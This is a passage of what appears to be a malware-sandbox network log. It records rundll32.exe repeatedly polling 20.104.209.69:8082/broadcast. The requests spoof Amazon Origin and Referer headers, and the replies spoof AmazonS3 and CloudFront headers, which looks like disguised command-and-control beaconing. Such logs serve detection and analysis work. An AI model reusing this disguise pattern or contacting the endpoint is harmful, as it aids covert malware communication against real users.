Jan 8, 2023 16:07:54.088591099 CET	774	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.6	49827	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:54.362359047 CET	776	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:54.481698036 CET	777	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.6	49828	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:54.735341072 CET	780	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:54.853708029 CET	780	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49711	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:02.127104998 CET	397	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:02.244460106 CET	398	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.6	49829	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:55.113424063 CET	783	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:55.231472015 CET	783	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.6	49830	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:55.503418922 CET	786	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:55.621908903 CET	786	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.6	49831	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:55.886754990 CET	789	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:56.004916906 CET	790	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.6	49832	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:56.296515942 CET	792	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:56.416632891 CET	793	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.6	49833	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:56.670192003 CET	796	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:56.828700066 CET	796	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.6	49834	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:57.097958088 CET	799	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:57.216367960 CET	799	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.6	49835	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:57.469589949 CET	802	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:57.587747097 CET	802	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.6	49836	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:57.858541965 CET	805	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:57.978287935 CET	806	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.6	49837	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:58.236181974 CET	808	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:58.354341030 CET	809	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.6	49838	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:58.638756037 CET	812	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:58.757030010 CET	812	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49712	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:02.525804043 CET	400	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:02.645510912 CET	401	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.6	49839	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:59.016884089 CET	815	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:59.135883093 CET	815	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.6	49840	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:59.394674063 CET	818	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:59.512906075 CET	818	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.6	49841	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:59.780519009 CET	821	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:59.899789095 CET	821	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.6	49842	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:00.157237053 CET	824	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:00.277055025 CET	825	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.6	49843	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:00.554404974 CET	827	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:00.673508883 CET	828	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.6	49844	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:00.937952042 CET	831	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:01.056633949 CET	831	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.6	49845	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
